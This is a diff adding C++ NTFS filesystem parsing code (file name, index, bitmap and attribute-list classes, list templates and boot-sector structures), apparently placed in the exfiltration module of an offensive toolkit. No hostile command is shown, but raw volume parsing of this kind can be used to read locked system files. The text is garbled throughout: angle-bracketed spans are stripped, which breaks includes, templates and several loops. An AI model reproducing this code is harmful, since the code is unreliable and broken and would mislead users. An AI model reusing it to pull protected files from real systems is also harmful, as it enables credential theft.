(ATTR_STANDARD_INFORMATION*)AttrBody; +} + +CAttr_StdInfo::~CAttr_StdInfo() +{ + NTFS_TRACE("CAttr_StdInfo deleted\n"); +} + +// Change from UTC time to local time +void CAttr_StdInfo::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + UTC2Local(StdInfo->AlterTime, writeTm); + + if (createTm) + UTC2Local(StdInfo->CreateTime, createTm); + + if (accessTm) + UTC2Local(StdInfo->ReadTime, accessTm); +} + +__inline DWORD CAttr_StdInfo::GetFilePermission() const +{ + return StdInfo->Permission; +} + +__inline BOOL CAttr_StdInfo::IsReadOnly() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_READONLY); +} + +__inline BOOL CAttr_StdInfo::IsHidden() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_HIDDEN); +} + +__inline BOOL CAttr_StdInfo::IsSystem() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SYSTEM); +} + +__inline BOOL CAttr_StdInfo::IsCompressed() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_COMPRESSED); +} + +__inline BOOL CAttr_StdInfo::IsEncrypted() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_ENCRYPTED); +} + +__inline BOOL CAttr_StdInfo::IsSparse() const +{ + return ((StdInfo->Permission) & ATTR_STDINFO_PERMISSION_SPARSE); +} + +// UTC filetime to Local filetime +void CAttr_StdInfo::UTC2Local(const ULONGLONG &ultm, FILETIME *lftm) +{ + LARGE_INTEGER fti; + FILETIME ftt; + + fti.QuadPart = ultm; + ftt.dwHighDateTime = fti.HighPart; + ftt.dwLowDateTime = fti.LowPart; + + if (!FileTimeToLocalFileTime(&ftt, lftm)) + *lftm = ftt; +} + + +//////////////////////////////////////// +// FileName helper class +// used by FileName and IndexEntry +//////////////////////////////////////// +class CFileName +{ +public: + CFileName(ATTR_FILE_NAME *fn = NULL); + virtual ~CFileName(); + +protected: + const ATTR_FILE_NAME *FileName; // May be NULL for an IndexEntry + wchar_t *FileNameWUC; // Uppercase Unicode File Name, used to compare file names + int FileNameLength; + BOOL IsCopy; + + __inline void SetFileName(ATTR_FILE_NAME *fn); + void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn); + +private: + void GetFileNameWUC(); + +public: + int Compare(const wchar_t *fn) const; + int Compare(const char *fn) const; + + __inline ULONGLONG GetFileSize() const; + __inline DWORD GetFilePermission() const; + __inline BOOL IsReadOnly() const; + __inline BOOL IsHidden() const; + __inline BOOL IsSystem() const; + __inline BOOL IsDirectory() const; + __inline BOOL IsCompressed() const; + __inline BOOL IsEncrypted() const; + __inline BOOL IsSparse() const; + + int GetFileName(char *buf, DWORD bufLen) const; + int GetFileName(wchar_t *buf, DWORD bufLen) const; + __inline BOOL HasName() const; + __inline BOOL IsWin32Name() const; + + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const; +}; // CFileName + +CFileName::CFileName(ATTR_FILE_NAME *fn) +{ + IsCopy = FALSE; + + FileName = fn; + + FileNameWUC = NULL; + FileNameLength = 0; + + if (fn) + GetFileNameWUC(); +} + +CFileName::~CFileName() +{ + if (FileNameWUC) + delete FileNameWUC; +} + +__inline void CFileName::SetFileName(ATTR_FILE_NAME *fn) +{ + FileName = fn; + + GetFileNameWUC(); +} + +// Copy pointer buffers +void CFileName::CopyFileName(const CFileName *fn, const ATTR_FILE_NAME *afn) +{ + if (!IsCopy) + { + NTFS_TRACE("Cannot call this routine\n"); + return; + } + + _ASSERT(fn && afn); + + NTFS_TRACE("FileName Copied\n"); + + if (FileNameWUC) + delete FileNameWUC; + + FileNameLength = fn->FileNameLength; + FileName = afn; + + if (fn->FileNameWUC) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + wcsncpy(FileNameWUC, fn->FileNameWUC, FileNameLength); + FileNameWUC[FileNameLength] = wchar_t('\0'); + } + else + FileNameWUC = NULL; +} + +// Get uppercase unicode filename and store it in a buffer +void CFileName::GetFileNameWUC() +{ +#ifdef _DEBUG + char fna[MAX_PATH]; + GetFileName(fna, MAX_PATH); // Just show filename in debug window +#endif + + if (FileNameWUC) + { + delete FileNameWUC; + FileNameWUC = NULL; + FileNameLength = 0; + } + + wchar_t fns[MAX_PATH]; + FileNameLength = GetFileName(fns, MAX_PATH); + + if (FileNameLength > 0) + { + FileNameWUC = new wchar_t[FileNameLength+1]; + for (int i=0; i MAX_PATH) + return 1; // Assume bigger + + wchar_t fns[MAX_PATH]; + + for (int i=0; iRealSize : 0; +} + +__inline DWORD CFileName::GetFilePermission() const +{ + return FileName ? FileName->Flags : 0; +} + +__inline BOOL CFileName::IsReadOnly() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_READONLY) : FALSE; +} + +__inline BOOL CFileName::IsHidden() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_HIDDEN) : FALSE; +} + +__inline BOOL CFileName::IsSystem() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SYSTEM) : FALSE; +} + +__inline BOOL CFileName::IsDirectory() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_DIRECTORY) : FALSE; +} + +__inline BOOL CFileName::IsCompressed() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_COMPRESSED) : FALSE; +} + +__inline BOOL CFileName::IsEncrypted() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_ENCRYPTED) : FALSE; +} + +__inline BOOL CFileName::IsSparse() const +{ + return FileName ? ((FileName->Flags) & ATTR_FILENAME_FLAG_SPARSE) : FALSE; +} + +// Get ANSI File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(char *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + int len = 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + len = WideCharToMultiByte(CP_ACP, 0, (wchar_t*)FileName->Name, FileName->NameLength, + buf, bufLen, NULL, NULL); + if (len) + { + buf[len] = '\0'; + NTFS_TRACE1("File Name: %s\n", buf); + NTFS_TRACE4("File Permission: %s\t%c%c%c\n", IsDirectory()?"Directory":"File", + IsReadOnly()?'R':' ', IsHidden()?'H':' ', IsSystem()?'S':' '); + } + else + { + NTFS_TRACE("Unrecognized File Name or FileName buffer too small\n"); + } + } + + return len; +} + +// Get Unicode File Name +// Return 0: Unnamed, <0: buffer too small, -buffersize, >0 Name length +int CFileName::GetFileName(wchar_t *buf, DWORD bufLen) const +{ + if (FileName == NULL) + return 0; + + if (FileName->NameLength) + { + if (bufLen < FileName->NameLength) + return -1*FileName->NameLength; // buffer too small + + bufLen = FileName->NameLength; + wcsncpy(buf, (wchar_t*)FileName->Name, bufLen); + buf[bufLen] = wchar_t('\0'); + + return bufLen; + } + + return 0; +} + +__inline BOOL CFileName::HasName() const +{ + return FileNameLength > 0; +} + +__inline BOOL CFileName::IsWin32Name() const +{ + if (FileName == NULL || FileNameLength <= 0) + return FALSE; + + return (FileName->NameSpace != ATTR_FILENAME_NAMESPACE_DOS); // POSIX, WIN32, WIN32_DOS +} + +// Change from UTC time to local time +void CFileName::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const +{ + CAttr_StdInfo::UTC2Local(FileName ? FileName->AlterTime : 0, writeTm); + + if (createTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->CreateTime : 0, createTm); + + if (accessTm) + CAttr_StdInfo::UTC2Local(FileName ? FileName->ReadTime : 0, accessTm); +} + + +//////////////////////////////// +// Attribute: File Name +//////////////////////////////// +class CAttr_FileName : public CAttrResident, public CFileName +{ +public: + CAttr_FileName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: File Name\n"); + + SetFileName((ATTR_FILE_NAME*)AttrBody); + } + + virtual ~CAttr_FileName() + { + NTFS_TRACE("CAttr_FileName deleted\n"); + } + +private: + // File permission and time in $FILE_NAME only updates when the filename changes + // So hide these functions to prevent user from getting the error information + // Standard Information and IndexEntry keeps the most recent file time and permission infomation + void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const {} + __inline DWORD GetFilePermission(){} + __inline BOOL IsReadOnly() const {} + __inline BOOL IsHidden() const {} + __inline BOOL IsSystem() const {} + __inline BOOL IsCompressed() const {} + __inline BOOL IsEncrypted() const {} + __inline BOOL IsSparse() const {} +}; // CAttr_FileName + + +////////////////////////////////// +// Attribute: Volume Information +////////////////////////////////// +class CAttr_VolInfo : public CAttrResident +{ +public: + CAttr_VolInfo(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Information\n"); + + VolInfo = (ATTR_VOLUME_INFORMATION*)AttrBody; + } + + virtual ~CAttr_VolInfo() + { + NTFS_TRACE("CAttr_VolInfo deleted\n"); + } + +private: + const ATTR_VOLUME_INFORMATION *VolInfo; + +public: + // Get NTFS Volume Version + __inline WORD GetVersion() + { + return MAKEWORD(VolInfo->MinorVersion, VolInfo->MajorVersion); + } +}; // CAttr_VolInfo + + +/////////////////////////// +// Attribute: Volume Name +/////////////////////////// +class CAttr_VolName : public CAttrResident +{ +public: + CAttr_VolName(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrResident(ahc, fr) + { + NTFS_TRACE("Attribute: Volume Name\n"); + + NameLength = AttrBodySize >> 1; + VolNameU = new wchar_t[NameLength+1]; + VolNameA = new char[NameLength+1]; + + memcpy(VolNameU, AttrBody, AttrBodySize); + VolNameU[NameLength] = wchar_t('\0'); + + int len = WideCharToMultiByte(CP_ACP, 0, VolNameU, NameLength, + VolNameA, NameLength, NULL, NULL); + VolNameA[NameLength] = '\0'; + } + + virtual ~CAttr_VolName() + { + NTFS_TRACE("CAttr_VolName deleted\n"); + + delete VolNameU; + delete VolNameA; + } + +private: + wchar_t *VolNameU; + char *VolNameA; + DWORD NameLength; + +public: + // Get NTFS Volume Unicode Name + __inline int GetName(wchar_t *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + wcsncpy(buf, VolNameU, NameLength+1); + return NameLength; + } + + // ANSI Name + __inline int GetName(char *buf, DWORD len) const + { + if (len < NameLength) + return -1*NameLength; // buffer too small + + strncpy(buf, VolNameA, NameLength+1); + return NameLength; + } +}; // CAttr_VolInfo + + +///////////////////////////////////// +// Attribute: Data +///////////////////////////////////// +template +class CAttr_Data : public TYPE_RESIDENT +{ +public: + CAttr_Data(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) + { + NTFS_TRACE1("Attribute: Data (%sResident)\n", IsNonResident() ? "Non" : ""); + } + + virtual ~CAttr_Data() + { + NTFS_TRACE("CAttr_Data deleted\n"); + } +}; // CAttr_Data + + +///////////////////////////// +// Index Entry helper class +///////////////////////////// +class CIndexEntry : public CFileName +{ +public: + CIndexEntry() + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = TRUE; + + IndexEntry = NULL; + SetFileName(NULL); + } + + CIndexEntry(const INDEX_ENTRY *ie) + { + NTFS_TRACE("Index Entry\n"); + + IsDefault = FALSE; + + _ASSERT(ie); + IndexEntry = ie; + + if (IsSubNodePtr()) + { + NTFS_TRACE("Points to sub-node\n"); + } + + if (ie->StreamSize) + { + SetFileName((ATTR_FILE_NAME*)(ie->Stream)); + } + else + { + NTFS_TRACE("No FileName stream found\n"); + } + } + + virtual ~CIndexEntry() + { + // Never touch *IndexEntry here if IsCopy == FALSE ! + // As the memory have been deallocated by ~CIndexBlock() + + if (IsCopy && IndexEntry) + delete (void*)IndexEntry; + + NTFS_TRACE("CIndexEntry deleted\n"); + } + +private: + BOOL IsDefault; + +protected: + const INDEX_ENTRY *IndexEntry; + +public: + // Use with caution ! + CIndexEntry& operator = (const CIndexEntry &ieClass) + { + if (!IsDefault) + { + NTFS_TRACE("Cannot call this routine\n"); + return *this; + } + + NTFS_TRACE("Index Entry Copied\n"); + + IsCopy = TRUE; + + if (IndexEntry) + { + delete (void*)IndexEntry; + IndexEntry = NULL; + } + + const INDEX_ENTRY *ie = ieClass.IndexEntry; + _ASSERT(ie && (ie->Size > 0)); + + IndexEntry = (INDEX_ENTRY*)new BYTE[ie->Size]; + memcpy((void*)IndexEntry, ie, ie->Size); + CopyFileName(&ieClass, (ATTR_FILE_NAME*)(IndexEntry->Stream)); + + return *this; + } + + __inline ULONGLONG GetFileReference() const + { + if (IndexEntry) + return IndexEntry->FileReference & 0x0000FFFFFFFFFFFFUL; + else + return (ULONGLONG)-1; + } + + __inline BOOL IsSubNodePtr() const + { + if (IndexEntry) + return (IndexEntry->Flags & INDEX_ENTRY_FLAG_SUBNODE); + else + return FALSE; + } + + __inline ULONGLONG GetSubNodeVCN() const + { + if (IndexEntry) + return *(ULONGLONG*)((BYTE*)IndexEntry + IndexEntry->Size - 8); + else + return (ULONGLONG)-1; + } +}; // CIndexEntry + + +/////////////////////////////// +// Index Block helper class +/////////////////////////////// +class CIndexBlock : public CIndexEntryList +{ +public: + CIndexBlock() + { + NTFS_TRACE("Index Block\n"); + + IndexBlock = NULL; + } + + virtual ~CIndexBlock() + { + NTFS_TRACE("IndexBlock deleted\n"); + + if (IndexBlock) + delete IndexBlock; + } + +private: + INDEX_BLOCK *IndexBlock; + +public: + INDEX_BLOCK *AllocIndexBlock(DWORD size) + { + // Free previous data if any + if (GetCount() > 0) + RemoveAll(); + if (IndexBlock) + delete IndexBlock; + + IndexBlock = (INDEX_BLOCK*)new BYTE[size]; + + return IndexBlock; + } +}; // CIndexBlock + + +///////////////////////////////////// +// Attribute: Index Root (Resident) +///////////////////////////////////// +class CAttr_IndexRoot : public CAttrResident, public CIndexEntryList +{ +public: + CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexRoot(); + +private: + const ATTR_INDEX_ROOT *IndexRoot; + + void ParseIndexEntries(); + +public: + __inline BOOL IsFileName() const; +}; // CAttr_IndexRoot + +CAttr_IndexRoot::CAttr_IndexRoot(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr): CAttrResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Root\n"); + + IndexRoot = (ATTR_INDEX_ROOT*)AttrBody; + + if (IsFileName()) + { + ParseIndexEntries(); + } + else + { + NTFS_TRACE("Index View not supported\n"); + } +} + +CAttr_IndexRoot::~CAttr_IndexRoot() +{ + NTFS_TRACE("CAttr_IndexRoot deleted\n"); +} + +// Get all the index entries +void CAttr_IndexRoot::ParseIndexEntries() +{ + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(IndexRoot->EntryOffset)) + IndexRoot->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= IndexRoot->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } +} + +// Check if this IndexRoot contains FileName or IndexView +__inline BOOL CAttr_IndexRoot::IsFileName() const +{ + return (IndexRoot->AttrType == ATTR_TYPE_FILE_NAME); +} + + +///////////////////////////////////////////// +// Attribute: Index Allocation (NonResident) +///////////////////////////////////////////// +class CAttr_IndexAlloc : public CAttrNonResident +{ +public: + CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_IndexAlloc(); + +private: + ULONGLONG IndexBlockCount; + + BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray); + +public: + __inline ULONGLONG GetIndexBlockCount(); + BOOL ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass); +}; // CAttr_IndexAlloc + +CAttr_IndexAlloc::CAttr_IndexAlloc(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : CAttrNonResident(ahc, fr) +{ + NTFS_TRACE("Attribute: Index Allocation\n"); + + IndexBlockCount = 0; + + if (IsDataRunOK()) + { + // Get total number of Index Blocks + ULONGLONG ibTotalSize; + ibTotalSize = GetDataSize(); + if (ibTotalSize % _IndexBlockSize) + { + NTFS_TRACE2("Cannot calulate number of IndexBlocks, total size = %I64u, unit = %u\n", + ibTotalSize, _IndexBlockSize); + return; + } + IndexBlockCount = ibTotalSize / _IndexBlockSize; + } + else + { + NTFS_TRACE("Index Allocation DataRun parse error\n"); + } +} + +CAttr_IndexAlloc::~CAttr_IndexAlloc() +{ + NTFS_TRACE("CAttr_IndexAlloc deleted\n"); +} + +// Verify US and update sectors +BOOL CAttr_IndexAlloc::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray) +{ + int i; + + for (i=0; i>1) - 1); + if (*sector != usn) + return FALSE; // USN error + *sector = usarray[i]; // Write back correct data + sector++; + } + return TRUE; +} + +__inline ULONGLONG CAttr_IndexAlloc::GetIndexBlockCount() +{ + return IndexBlockCount; +} + +// Parse a single Index Block +// vcn = Index Block VCN in Index Allocation Data Attributes +// ibClass holds the parsed Index Entries +BOOL CAttr_IndexAlloc::ParseIndexBlock(const ULONGLONG &vcn, CIndexBlock &ibClass) +{ + if (vcn >= IndexBlockCount) // Bounds check + return FALSE; + + // Allocate buffer for a single Index Block + INDEX_BLOCK *ibBuf = ibClass.AllocIndexBlock(_IndexBlockSize); + + // Sectors Per Index Block + DWORD sectors = _IndexBlockSize / _SectorSize; + + // Read one Index Block + DWORD len; + if (ReadData(vcn*_IndexBlockSize, ibBuf, _IndexBlockSize, &len) && + len == _IndexBlockSize) + { + if (ibBuf->Magic != INDEX_BLOCK_MAGIC) + { + NTFS_TRACE("Index Block parse error: Magic mismatch\n"); + return FALSE; + } + + // Patch US + WORD *usnaddr = (WORD*)((BYTE*)ibBuf + ibBuf->OffsetOfUS); + WORD usn = *usnaddr; + WORD *usarray = usnaddr + 1; + if (!PatchUS((WORD*)ibBuf, sectors, usn, usarray)) + { + NTFS_TRACE("Index Block parse error: Update Sequence Number\n"); + return FALSE; + } + + INDEX_ENTRY *ie; + ie = (INDEX_ENTRY*)((BYTE*)(&(ibBuf->EntryOffset)) + ibBuf->EntryOffset); + + DWORD ieTotal = ie->Size; + + while (ieTotal <= ibBuf->TotalEntrySize) + { + CIndexEntry *ieClass = new CIndexEntry(ie); + ibClass.InsertEntry(ieClass); + + if (ie->Flags & INDEX_ENTRY_FLAG_LAST) + { + NTFS_TRACE("Last Index Entry\n"); + break; + } + + ie = (INDEX_ENTRY*)((BYTE*)ie + ie->Size); // Pick next + ieTotal += ie->Size; + } + + return TRUE; + } + else + return FALSE; +} + + +//////////////////////////////////////////// +// Attribute: Bitmap +//////////////////////////////////////////// +template +class CAttr_Bitmap : public TYPE_RESIDENT +{ +public: + CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_Bitmap(); + +private: + ULONGLONG BitmapSize; // Bitmap data size + BYTE *BitmapBuf; // Bitmap data buffer + LONGLONG CurrentCluster; + +public: + BOOL IsClusterFree(const ULONGLONG &cluster) const; +}; // CAttr_Bitmap + +template +CAttr_Bitmap::CAttr_Bitmap(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE1("Attribute: Bitmap (%sResident)\n", IsNonResident() ? "Non" : ""); + + CurrentCluster = -1; + + if (IsDataRunOK()) + { + BitmapSize = GetDataSize(); + + if (IsNonResident()) + BitmapBuf = new BYTE[_ClusterSize]; + else + { + BitmapBuf = new BYTE[(DWORD)BitmapSize]; + + DWORD len; + if (!(ReadData(0, BitmapBuf, (DWORD)BitmapSize, &len) + && len == (DWORD)BitmapSize)) + { + BitmapBuf = NULL; + NTFS_TRACE("Read Resident Bitmap data failed\n"); + } + else + { + NTFS_TRACE1("%u bytes of resident Bitmap data read\n", len); + } + } + } + else + { + BitmapSize = 0; + BitmapBuf = 0; + } +} + +template +CAttr_Bitmap::~CAttr_Bitmap() +{ + if (BitmapBuf) + delete BitmapBuf; + + NTFS_TRACE("CAttr_Bitmap deleted\n"); +} + +// Verify if a single cluster is free +template +BOOL CAttr_Bitmap::IsClusterFree(const ULONGLONG &cluster) const +{ + if (!IsDataRunOK() || !BitmapBuf) + return FALSE; + + if (IsNonResident()) + { + LONGLONG idx = (LONGLONG)cluster >> 3; + DWORD clusterSize = ((CNTFSVolume*)Volume)->GetClusterSize(); + + LONGLONG clusterOffset = idx/clusterSize; + cluster -= (clusterOffset*clusterSize*8); + + // Read one cluster of data if buffer mismatch + if (CurrentCluster != clusterOffset) + { + DWORD len; + if (ReadData(clusterOffset, BitmapBuf, clusterSize, &len) && len == clusterSize) + { + CurrentCluster = clusterOffset; + } + else + { + CurrentCluster = -1; + return FALSE; + } + } + } + + // All the Bitmap data is already in BitmapBuf + DWORD idx = (DWORD)(cluster >> 3); + if (IsNonResident() == FALSE) + { + if (idx >= BitmapSize) + return TRUE; // Resident data bounds check error + } + + BYTE fac = (BYTE)(cluster % 8); + + return ((BitmapBuf[idx] & (1< CFileRecordList; + +//////////////////////////////////////////// +// Attribute: Attribute List +//////////////////////////////////////////// +template +class CAttr_AttrList : public TYPE_RESIDENT +{ +public: + CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr); + virtual ~CAttr_AttrList(); + +private: + CFileRecordList FileRecordList; +}; // CAttr_AttrList + +template +CAttr_AttrList::CAttr_AttrList(const ATTR_HEADER_COMMON *ahc, const CFileRecord *fr) : TYPE_RESIDENT(ahc, fr) +{ + NTFS_TRACE("Attribute: Attribute List\n"); + if (fr->FileReference == (ULONGLONG)-1) + return; + + ULONGLONG offset = 0; + DWORD len; + ATTR_ATTRIBUTE_LIST alRecord; + + while (ReadData(offset, &alRecord, sizeof(ATTR_ATTRIBUTE_LIST), &len) && + len == sizeof(ATTR_ATTRIBUTE_LIST)) + { + if (ATTR_INDEX(alRecord.AttrType) > ATTR_NUMS) + { + NTFS_TRACE("Attribute List parse error1\n"); + break; + } + + NTFS_TRACE1("Attribute List: 0x%04x\n", alRecord.AttrType); + + ULONGLONG recordRef = alRecord.BaseRef & 0x0000FFFFFFFFFFFFUL; + if (recordRef != fr->FileReference) // Skip contained attributes + { + DWORD am = ATTR_MASK(alRecord.AttrType); + if (am & fr->AttrMask) // Skip unwanted attributes + { + CFileRecord *frnew = new CFileRecord(fr->Volume); + FileRecordList.InsertEntry(frnew); + + frnew->AttrMask = am; + if (!frnew->ParseFileRecord(recordRef)) + { + NTFS_TRACE("Attribute List parse error2\n"); + break; + } + frnew->ParseAttrs(); + + // Insert new found AttrList to fr->AttrList + const CAttrBase *ab = (CAttrBase*)frnew->FindFirstAttr(alRecord.AttrType); + while (ab) + { + CAttrList *al = (CAttrList*)&fr->AttrList[ATTR_INDEX(alRecord.AttrType)]; + al->InsertEntry((CAttrBase*)ab); + ab = frnew->FindNextAttr(alRecord.AttrType); + } + + // Throw away frnew->AttrList entries to prevent free twice (fr will delete them) + frnew->AttrList[ATTR_INDEX(alRecord.AttrType)].ThrowAll(); + } + } + + offset += alRecord.RecordSize; + } +} + +template +CAttr_AttrList::~CAttr_AttrList() +{ + NTFS_TRACE("CAttr_AttrList deleted\n"); +} + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h new file mode 100644 index 00000000..b7c2813d --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_Common.h @@ -0,0 +1,317 @@ +/* + * NTFS Class common definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_COMMON_H_CYB70289 +#define __NTFS_COMMON_H_CYB70289 + +#include +#include +#include +#include + +#include "NTFS_DataType.h" + +#define ATTR_NUMS 16 // Attribute Types count +#define ATTR_INDEX(at) (((at)>>4)-1) // Attribute Type to Index, eg. 0x10->0, 0x30->2 +#define ATTR_MASK(at) (((DWORD)1)< +struct NTSLIST_ENTRY +{ + NTSLIST_ENTRY *Next; + ENTRY_TYPE *Entry; +}; + +// List Entry Smart Pointer +template +class CEntrySmartPtr +{ +public: + CEntrySmartPtr(ENTRY_TYPE *ptr = NULL) + { + EntryPtr = ptr; + } + + virtual ~CEntrySmartPtr() + { + if (EntryPtr) + delete EntryPtr; + } + +private: + const ENTRY_TYPE *EntryPtr; + +public: + __inline CEntrySmartPtr operator = (const ENTRY_TYPE* ptr) + { + // Delete previous pointer if allocated + if (EntryPtr) + delete EntryPtr; + + EntryPtr = ptr; + + return *this; + } + + __inline const ENTRY_TYPE* operator->() const + { + _ASSERT(EntryPtr); + return EntryPtr; + } + + __inline BOOL IsValid() const + { + return EntryPtr != NULL; + } +}; + +////////////////////////////////////// +// Single list implementation +////////////////////////////////////// +template +class CSList +{ +public: + CSList() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + virtual ~CSList() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + NTSLIST_ENTRY *ListCurrent; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to tail + BOOL InsertEntry(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = NULL; + + if (ListTail == NULL) + ListHead = le; // Empty list + else + ListTail->Next = le; + + ListTail = le; + + EntryCount++; + return TRUE; + } + + // Remove all entries + void RemoveAll() + { + while (ListHead) + { + ListCurrent = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = ListCurrent; + } + + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } + + // Find first entry + __inline ENTRY_TYPE *FindFirstEntry() const + { + ((CSList*)this)->ListCurrent = ListHead; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Find next entry + __inline ENTRY_TYPE *FindNextEntry() const + { + if (ListCurrent) + ((CSList*)this)->ListCurrent = ListCurrent->Next; + + if (ListCurrent) + return ListCurrent->Entry; + else + return NULL; + } + + // Throw all entries + // Caution! All entries are just thrown without free + __inline void ThrowAll() + { + ListHead = ListTail = NULL; + ListCurrent = NULL; + EntryCount = 0; + } +}; //CSList + + +////////////////////////////////////// +// Stack implementation +////////////////////////////////////// +template +class CStack +{ +public: + CStack() + { + ListHead = ListTail = NULL; + EntryCount = 0; + } + + virtual ~CStack() + { + RemoveAll(); + } + +private: + int EntryCount; + NTSLIST_ENTRY *ListHead; + NTSLIST_ENTRY *ListTail; + +public: + // Get entry count + __inline int GetCount() const + { + return EntryCount; + } + + // Insert to head + BOOL Push(ENTRY_TYPE *entry) + { + NTSLIST_ENTRY *le = new NTSLIST_ENTRY; + if (!le) + return FALSE; + + le->Entry = entry; + le->Next = ListHead; + + ListHead = le; + + if (ListTail == NULL) + ListTail = le; // Empty list + + EntryCount ++; + return TRUE; + } + + // Remove from head + ENTRY_TYPE* Pop() + { + if (ListHead == NULL) + return NULL; + + NTSLIST_ENTRY *le = ListHead; + ENTRY_TYPE *e = le->Entry; + + if (ListTail == ListHead) + ListTail = ListHead->Next; + ListHead = ListHead->Next; + + delete le; + EntryCount --; + + return e; + } + + // Remove all entries + void RemoveAll() + { + NTSLIST_ENTRY *le; + + while (ListHead) + { + le = ListHead->Next; + delete ListHead->Entry; + delete ListHead; + + ListHead = le; + } + + ListHead = ListTail = NULL; + EntryCount = 0; + } +}; //CStack + +#endif diff --git a/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h new file mode 100644 index 00000000..7d9ccc06 --- /dev/null +++ b/Exfiltration/NTFSParser/NTFSParserDLL/NTFS_DataType.h @@ -0,0 +1,380 @@ +/* + * NTFS data structures and definitions + * + * Copyright(C) 2010 cyb70289 + * + * This program/include file is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as published + * by the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program/include file is distributed in the hope that it will be + * useful, but WITHOUT ANY WARRANTY; without even the implied warranty + * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __NTFS_DATATYPE_H_CYB70289 +#define __NTFS_DATATYPE_H_CYB70289 + +// NTFS Boot Sector BPB + +#define NTFS_SIGNATURE "NTFS " + +#pragma pack(1) +typedef struct tagNTFS_BPB +{ + // jump instruction + BYTE Jmp[3]; + + // signature + BYTE Signature[8]; + + // BPB and extended BPB + WORD BytesPerSector; + BYTE SectorsPerCluster; + WORD ReservedSectors; + BYTE Zeros1[3]; + WORD NotUsed1; + BYTE MediaDescriptor; + WORD Zeros2; + WORD SectorsPerTrack; + WORD NumberOfHeads; + DWORD HiddenSectors; + DWORD NotUsed2; + DWORD NotUsed3; + ULONGLONG TotalSectors; + ULONGLONG LCN_MFT; + ULONGLONG 